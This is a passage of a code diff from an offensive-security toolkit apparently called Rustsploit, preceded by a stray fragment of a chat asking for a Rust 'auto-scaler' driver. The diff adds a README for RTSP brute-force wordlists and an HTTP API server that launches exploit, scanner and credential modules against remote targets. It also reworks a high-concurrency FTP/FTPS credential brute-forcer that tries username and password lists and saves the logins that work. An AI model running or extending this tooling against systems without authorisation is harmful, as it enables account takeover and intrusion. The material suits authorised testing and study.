Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
Want me to show it too? 🔥
You said:
yes Dynamic/Auto-Scaler show function to add
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

-1
View File
@@ -1 +0,0 @@
just lists like word lists
+33
View File
@@ -0,0 +1,33 @@
# 📚 Rustsploit Data Files
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
---
## Available Files
| File | Used By | Description |
|------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
---
## Contributing Lists
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
---
## Ideas for Future Lists
- `ftp-default-creds.txt` for anonymous login checks
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB

+724
View File
@@ -0,0 +1,724 @@
use anyhow::{Context, Result};
use axum::{
extract::{ConnectInfo, Request, State},
http::{HeaderMap, StatusCode},
middleware::Next,
response::{IntoResponse, Response},
routing::{get, post},
Json, Router,
};
use std::net::SocketAddr;
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use std::{
collections::HashMap,
path::PathBuf,
sync::Arc,
};
use tokio::{
fs::OpenOptions,
io::AsyncWriteExt,
sync::RwLock,
};
use tower::ServiceBuilder;
use tower_http::trace::TraceLayer;
use uuid::Uuid;
use crate::commands;
#[derive(Clone, Debug)]
pub struct ApiKey {
pub key: String,
pub created_at: DateTime<Utc>,
}
#[derive(Clone, Debug, Serialize)]
pub struct IpTracker {
pub ip: String,
pub first_seen: DateTime<Utc>,
pub last_seen: DateTime<Utc>,
pub request_count: u32,
}
#[derive(Clone, Debug, Serialize)]
pub struct AuthFailureTracker {
pub ip: String,
pub failed_attempts: u32,
pub first_failure: DateTime<Utc>,
pub blocked_until: Option<DateTime<Utc>>,
}
#[derive(Clone)]
pub struct ApiState {
pub current_key: Arc<RwLock<ApiKey>>,
pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
pub harden_enabled: bool,
pub ip_limit: u32,
pub log_file: PathBuf,
}
#[derive(Serialize, Deserialize)]
pub struct ApiResponse {
pub success: bool,
pub message: String,
pub data: Option<serde_json::Value>,
}
#[derive(Serialize, Deserialize)]
pub struct RunModuleRequest {
pub module: String,
pub target: String,
}
#[derive(Serialize, Deserialize)]
pub struct ListModulesResponse {
pub exploits: Vec<String>,
pub scanners: Vec<String>,
pub creds: Vec<String>,
}
// ----------------------
// Validation utilities
// ----------------------
fn sanitize_for_log(input: &str) -> String {
let mut s = input.replace(['\r', '\n', '\t'], " ");
if s.len() > 500 {
s.truncate(500);
s.push_str("");
}
s
}
fn is_printable_ascii(s: &str) -> bool {
s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
}
fn validate_api_key_format(key: &str) -> bool {
!key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
}
fn validate_module_name(module: &str) -> bool {
// Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
if module.is_empty() || module.len() > 200 { return false; }
if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
return false;
}
let parts: Vec<&str> = module.split('/').collect();
if parts.len() < 2 { return false; }
matches!(parts[0], "exploits" | "scanners" | "creds")
}
fn validate_target(target: &str) -> bool {
if target.is_empty() || target.len() > 2048 { return false; }
if !is_printable_ascii(target) { return false; }
// Basic sanity: avoid spaces at ends and double CRLF injections
let trimmed = target.trim();
trimmed == target && !target.contains("\r\n\r\n")
}
impl ApiState {
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
let log_file = std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("."))
.join("rustsploit_api.log");
Self {
current_key: Arc::new(RwLock::new(ApiKey {
key: initial_key,
created_at: Utc::now(),
})),
ip_tracker: Arc::new(RwLock::new(HashMap::new())),
auth_failures: Arc::new(RwLock::new(HashMap::new())),
harden_enabled: harden,
ip_limit,
log_file,
}
}
pub async fn rotate_key(&self) -> Result<String> {
let new_key = Uuid::new_v4().to_string();
let mut key_guard = self.current_key.write().await;
key_guard.key = new_key.clone();
key_guard.created_at = Utc::now();
drop(key_guard);
// Clear IP tracker on rotation
let mut tracker_guard = self.ip_tracker.write().await;
tracker_guard.clear();
drop(tracker_guard);
self.log_message(&format!(
"[SECURITY] API key rotated at {}",
Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
Ok(new_key)
}
pub async fn track_ip(&self, ip: &str) -> Result<bool> {
if !self.harden_enabled {
return Ok(false);
}
let mut tracker_guard = self.ip_tracker.write().await;
let now = Utc::now();
if let Some(tracker) = tracker_guard.get_mut(ip) {
// Update existing tracker - use all fields
tracker.last_seen = now;
tracker.request_count += 1;
// Log detailed tracking info using first_seen
let duration = now.signed_duration_since(tracker.first_seen);
let _ = self.log_message(&format!(
"[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
tracker.ip,
tracker.request_count,
tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
duration.num_seconds()
)).await;
} else {
// Create new tracker - all fields are set and will be used
let new_tracker = IpTracker {
ip: ip.to_string(),
first_seen: now,
last_seen: now,
request_count: 1,
};
// Log new IP using all fields
let _ = self.log_message(&format!(
"[TRACKING] New IP detected: {} (first seen: {})",
new_tracker.ip,
new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
)).await;
tracker_guard.insert(ip.to_string(), new_tracker);
}
let unique_ips = tracker_guard.len() as u32;
drop(tracker_guard);
if unique_ips > self.ip_limit {
let new_key = self.rotate_key().await?;
self.log_message(&format!(
"[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
unique_ips, self.ip_limit, new_key
))
.await?;
println!(
"⚠️ [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
unique_ips, self.ip_limit
);
println!("⚠️ New API key: {}", new_key);
return Ok(true);
}
Ok(false)
}
pub async fn log_message(&self, message: &str) -> Result<()> {
let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
let safe = sanitize_for_log(message);
let log_entry = format!("[{}] {}\n", timestamp, safe);
// Log to terminal
println!("{}", log_entry.trim());
// Log to file
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(&self.log_file)
.await
.context("Failed to open log file")?;
file.write_all(log_entry.as_bytes())
.await
.context("Failed to write to log file")?;
Ok(())
}
pub async fn verify_key(&self, provided_key: &str) -> bool {
let key_guard = self.current_key.read().await;
key_guard.key == provided_key
}
pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
if let Some(tracker) = failures_guard.get_mut(ip) {
// Check if IP is currently blocked
if let Some(blocked_until) = tracker.blocked_until {
if now < blocked_until {
let remaining = (blocked_until - now).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
ip, remaining, tracker.failed_attempts
))
.await?;
return Ok(false); // Blocked
} else {
// Block period expired, reset
tracker.failed_attempts = 0;
tracker.blocked_until = None;
self.log_message(&format!(
"[RATE_LIMIT] Block period expired for IP {}, resetting counter",
ip
))
.await?;
}
}
}
Ok(true) // Not blocked
}
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
AuthFailureTracker {
ip: ip.to_string(),
failed_attempts: 0,
first_failure: now,
blocked_until: None,
}
});
// Set first_failure if this is the first attempt
if tracker.failed_attempts == 0 {
tracker.first_failure = now;
}
tracker.failed_attempts += 1;
// Block after 3 failed attempts for 30 seconds
if tracker.failed_attempts >= 3 {
let block_until = now + chrono::Duration::seconds(30);
tracker.blocked_until = Some(block_until);
let duration_since_first = (now - tracker.first_failure).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
duration_since_first
))
.await?;
println!(
"🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
);
} else {
self.log_message(&format!(
"[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
}
Ok(())
}
pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
if let Some(tracker) = failures_guard.get_mut(ip) {
if tracker.failed_attempts > 0 {
self.log_message(&format!(
"[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
ip, tracker.failed_attempts
))
.await?;
}
tracker.failed_attempts = 0;
tracker.blocked_until = None;
}
Ok(())
}
}
async fn auth_middleware(
State(state): State<ApiState>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Extract IP address first - try to get from headers first (for proxied requests)
let client_ip = headers
.get("x-forwarded-for")
.or_else(|| headers.get("x-real-ip"))
.and_then(|h| h.to_str().ok())
.map(|s| {
s.split(',')
.next()
.unwrap_or("")
.trim()
.to_string()
})
.filter(|s| !s.is_empty());
// Fall back to direct connection IP from request extensions
let client_ip = if let Some(ip) = client_ip {
ip
} else if let Some(addr) = request.extensions().get::<ConnectInfo<SocketAddr>>() {
addr.ip().to_string()
} else {
"unknown".to_string()
};
// Check rate limit before processing authentication
if client_ip != "unknown" {
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
if !allowed {
let response = ApiResponse {
success: false,
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
data: None,
};
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
}
}
}
// Extract API key from Authorization header
let auth_header = headers
.get("Authorization")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
let provided_key = if auth_header.starts_with("Bearer ") {
&auth_header[7..]
} else if auth_header.starts_with("ApiKey ") {
&auth_header[7..]
} else {
auth_header
};
// Basic key format validation
if !validate_api_key_format(provided_key) {
let response = ApiResponse {
success: false,
message: "Malformed API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Verify API key
let is_valid = state.verify_key(provided_key).await;
if !is_valid {
// Record failed authentication attempt
if client_ip != "unknown" {
let _ = state.record_auth_failure(&client_ip).await;
}
let response = ApiResponse {
success: false,
message: "Invalid API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Successful authentication - reset failure counter for this IP
if client_ip != "unknown" {
let _ = state.reset_auth_failures(&client_ip).await;
}
// Track IP for hardening (if enabled)
let _ = state.track_ip(&client_ip).await;
next.run(request).await
}
async fn health_check() -> Json<ApiResponse> {
Json(ApiResponse {
success: true,
message: "API is running".to_string(),
data: None,
})
}
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
let modules = commands::discover_modules();
let mut exploits = Vec::new();
let mut scanners = Vec::new();
let mut creds = Vec::new();
for module in modules {
if module.starts_with("exploits/") {
exploits.push(module);
} else if module.starts_with("scanners/") {
scanners.push(module);
} else if module.starts_with("creds/") {
creds.push(module);
}
}
let data = ListModulesResponse {
exploits,
scanners,
creds,
};
Json(ApiResponse {
success: true,
message: "Modules retrieved successfully".to_string(),
data: Some(serde_json::to_value(data).unwrap()),
})
}
async fn run_module(
State(state): State<ApiState>,
Json(payload): Json<RunModuleRequest>,
) -> Result<Json<ApiResponse>, StatusCode> {
let module_name_raw = payload.module.as_str();
let target_raw = payload.target.as_str();
// Validate inputs
if !validate_module_name(module_name_raw) {
return Err(StatusCode::BAD_REQUEST);
}
if !validate_target(target_raw) {
return Err(StatusCode::BAD_REQUEST);
}
// Sanitize for logging only
let module_name = sanitize_for_log(module_name_raw);
let target_name = sanitize_for_log(target_raw);
state
.log_message(&format!(
"API request: run module '{}' on target '{}'",
module_name, target_name
))
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Run the module in a separate OS thread since some modules aren't Send
let module = payload.module.clone();
let target = payload.target.clone();
let state_clone = state.clone();
// Use std::thread to run in a separate OS thread with its own runtime
std::thread::spawn(move || {
// Create a new runtime for this thread since modules need async runtime
let rt = tokio::runtime::Runtime::new().unwrap();
rt.block_on(async {
if let Err(e) = commands::run_module(&module, &target).await {
let _ = state_clone
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
.await;
} else {
let _ = state_clone
.log_message(&format!(
"Successfully completed module '{}' on target '{}'",
sanitize_for_log(&module), sanitize_for_log(&target)
))
.await;
}
});
});
Ok(Json(ApiResponse {
success: true,
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
data: None,
}))
}
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
let key_guard = state.current_key.read().await;
let tracker_guard = state.ip_tracker.read().await;
// Collect all tracked IPs with their details
let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
let ip_details: Vec<serde_json::Value> = tracked_ips
.iter()
.map(|tracker| {
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
})
})
.collect();
let status_data = serde_json::json!({
"harden_enabled": state.harden_enabled,
"ip_limit": state.ip_limit,
"unique_ips": tracker_guard.len(),
"key_created_at": key_guard.created_at.to_rfc3339(),
"log_file": state.log_file.to_string_lossy(),
"tracked_ips": ip_details,
});
Json(ApiResponse {
success: true,
message: "Status retrieved successfully".to_string(),
data: Some(status_data),
})
}
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
let new_key = state
.rotate_key()
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
Ok(Json(ApiResponse {
success: true,
message: "API key rotated successfully".to_string(),
data: Some(serde_json::json!({ "new_key": new_key })),
}))
}
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
let tracker_guard = state.ip_tracker.read().await;
let failures_guard = state.auth_failures.read().await;
// Use all fields from IpTracker
let ips: Vec<serde_json::Value> = tracker_guard
.values()
.map(|tracker| {
// Get auth failure info for this IP if it exists
let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
serde_json::json!({
"failed_attempts": fail.failed_attempts,
"first_failure": fail.first_failure.to_rfc3339(),
"blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
})
});
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
"duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
"auth_failures": auth_info,
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} tracked IP addresses", ips.len()),
data: Some(serde_json::json!({ "ips": ips })),
})
}
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
let failures_guard = state.auth_failures.read().await;
let now = Utc::now();
// Use all fields from AuthFailureTracker
let failures: Vec<serde_json::Value> = failures_guard
.values()
.map(|tracker| {
let is_blocked = tracker.blocked_until
.map(|blocked_until| now < blocked_until)
.unwrap_or(false);
let remaining_seconds = if is_blocked {
tracker.blocked_until
.map(|blocked_until| (blocked_until - now).num_seconds())
.unwrap_or(0)
} else {
0
};
serde_json::json!({
"ip": tracker.ip,
"failed_attempts": tracker.failed_attempts,
"first_failure": tracker.first_failure.to_rfc3339(),
"blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": is_blocked,
"remaining_block_seconds": remaining_seconds,
"duration_since_first": (now - tracker.first_failure).num_seconds(),
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
data: Some(serde_json::json!({ "auth_failures": failures })),
})
}
pub async fn start_api_server(
bind_address: &str,
api_key: String,
harden: bool,
ip_limit: u32,
) -> Result<()> {
let state = ApiState::new(api_key.clone(), harden, ip_limit);
// Log initial startup
state
.log_message(&format!(
"Starting API server on {} with hardening: {}, IP limit: {}",
bind_address, harden, ip_limit
))
.await?;
println!("🚀 Starting RustSploit API server...");
println!("📍 Binding to: {}", bind_address);
println!("🔑 Initial API key: {}", api_key);
println!("🛡️ Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
if harden {
println!("📊 IP limit: {}", ip_limit);
}
println!("📝 Log file: {}", state.log_file.display());
// Create routes that require authentication
let protected_routes = Router::new()
.route("/api/modules", get(list_modules))
.route("/api/run", post(run_module))
.route("/api/status", get(get_status))
.route("/api/rotate-key", post(rotate_key_endpoint))
.route("/api/ips", get(get_tracked_ips))
.route("/api/auth-failures", get(get_auth_failures))
.layer(axum::middleware::from_fn_with_state(
state.clone(),
auth_middleware,
));
let app = Router::new()
.route("/health", get(health_check))
.merge(protected_routes)
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()).into_inner())
.with_state(state);
let listener = tokio::net::TcpListener::bind(bind_address)
.await
.context(format!("Failed to bind to {}", bind_address))?;
println!("✅ API server is running! Use the API key in Authorization header.");
println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
axum::serve(
listener,
app.into_make_service_with_connect_info::<SocketAddr>(),
)
.await
.context("API server error")?;
Ok(())
}
+21 -1
View File
@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command"])
.args(&["command", "api"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
@@ -19,4 +19,24 @@ pub struct Cli {
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
/// Launch API server mode
#[arg(long)]
pub api: bool,
/// API key for authentication (required when --api is used)
#[arg(long, requires = "api")]
pub api_key: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
}
+2 -1
View File
@@ -6,7 +6,8 @@ use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
+23 -1
View File
@@ -1,4 +1,4 @@
use anyhow::Result;
use anyhow::{Context, Result};
use clap::Parser;
mod cli;
@@ -6,12 +6,34 @@ mod shell;
mod commands;
mod modules;
mod utils;
mod api;
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// Check if API mode is requested
if cli_args.api {
let api_key = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
let bind_address = if interface.contains(':') {
interface
} else {
format!("{}:8080", interface)
};
let harden = cli_args.harden;
let ip_limit = cli_args.ip_limit.unwrap_or(10);
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
return Ok(());
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
+152 -85
View File
@@ -1,4 +1,5 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
@@ -9,9 +10,12 @@ use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
sync::Arc,
sync::Arc, // Keep Arc
};
use tokio::{
sync::{Mutex, Semaphore}, // Import Semaphore
time::{sleep, Duration}
};
use tokio::{sync::Mutex, time::{sleep, Duration}};
use std::path::Path;
use sysinfo::System;
use futures::stream::{FuturesUnordered, StreamExt};
@@ -20,21 +24,30 @@ async fn dynamic_throttle(running: usize, max_concurrency: usize) {
let mut system = System::new_all();
system.refresh_all();
let cpu_usage = system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / system.cpus().len() as f32;
let ram_used = system.used_memory() as f32 / system.total_memory() as f32;
let cpu_count = system.cpus().len();
let cpu_usage = if cpu_count > 0 {
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
} else {
0.0
};
let total_memory = system.total_memory();
let ram_used = if total_memory > 0 {
system.used_memory() as f32 / total_memory as f32
} else {
0.0
};
if cpu_usage > 80.0 || ram_used > 0.8 {
sleep(Duration::from_millis(50)).await;
} else if cpu_usage > 60.0 || ram_used > 0.6 {
sleep(Duration::from_millis(25)).await;
} else if running > max_concurrency {
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
sleep(Duration::from_millis(10)).await;
} else {
sleep(Duration::from_millis(1)).await;
}
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
@@ -42,15 +55,15 @@ fn format_addr(target: &str, port: u16) -> String {
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
} else {
format!("{}:{}", clean, port)
format!("{}:{}", clean_target, port)
}
}
}
@@ -67,13 +80,16 @@ pub async fn run(target: &str) -> Result<()> {
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?; // default 500 (higher)
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
@@ -91,103 +107,139 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut tasks = FuturesUnordered::new();
if combo_mode {
// Every user × every pass
for user in &users {
if *stop.lock().await && stop_on_success { break; }
for pass in &passes {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
if *stop.lock().await && stop_on_success { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
tasks.push(tokio::spawn(async move {
if *stop.lock().await { return; }
match try_ftp_login(&addr, &user, &pass).await {
// Acquire a permit. This will block if `concurrency` limit is reached.
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
// Proceed with the task logic only after a permit is acquired
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop.lock().await = true;
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
// Permit is automatically released when `_permit` goes out of scope here
}));
}
}
} else {
// Line-by-line (user1 with pass1, user2 with pass2, etc.)
for (i, pass) in passes.iter().enumerate() {
let user = users.get(i % users.len()).unwrap_or(&users[0]).clone();
let addr = addr.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
} else { // Line-by-line mode
if !users.is_empty() || passes.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if *stop.lock().await && stop_on_success { break; }
let user = if users.is_empty() { continue; } else {
users.get(i % users.len()).expect("User list modulus logic error").clone()
};
tasks.push(tokio::spawn(async move {
if *stop.lock().await { return; }
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
tasks.push(tokio::spawn(async move {
// Acquire a permit
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
}));
// Permit released
}));
}
}
}
// 💥 Here is the correct task runner with dynamic throttling!
let mut running = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(running, concurrency).await;
res?;
running += 1;
}
let mut processed_tasks_count = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
if let Err(e) = res {
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
}
processed_tasks_count += 1;
// (stop logic can remain)
}
// After all tasks are finished, print/save results
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
let mut file = File::create(&file_path)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
}
Ok(())
}
/// Try FTP login and only fallback to FTPS if "SSL/TLS required" is detected
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
// (try_ftp_login function remains unchanged from your last working version)
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
match ftp.login(user, pass).await {
@@ -199,37 +251,44 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") {
// fall through
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
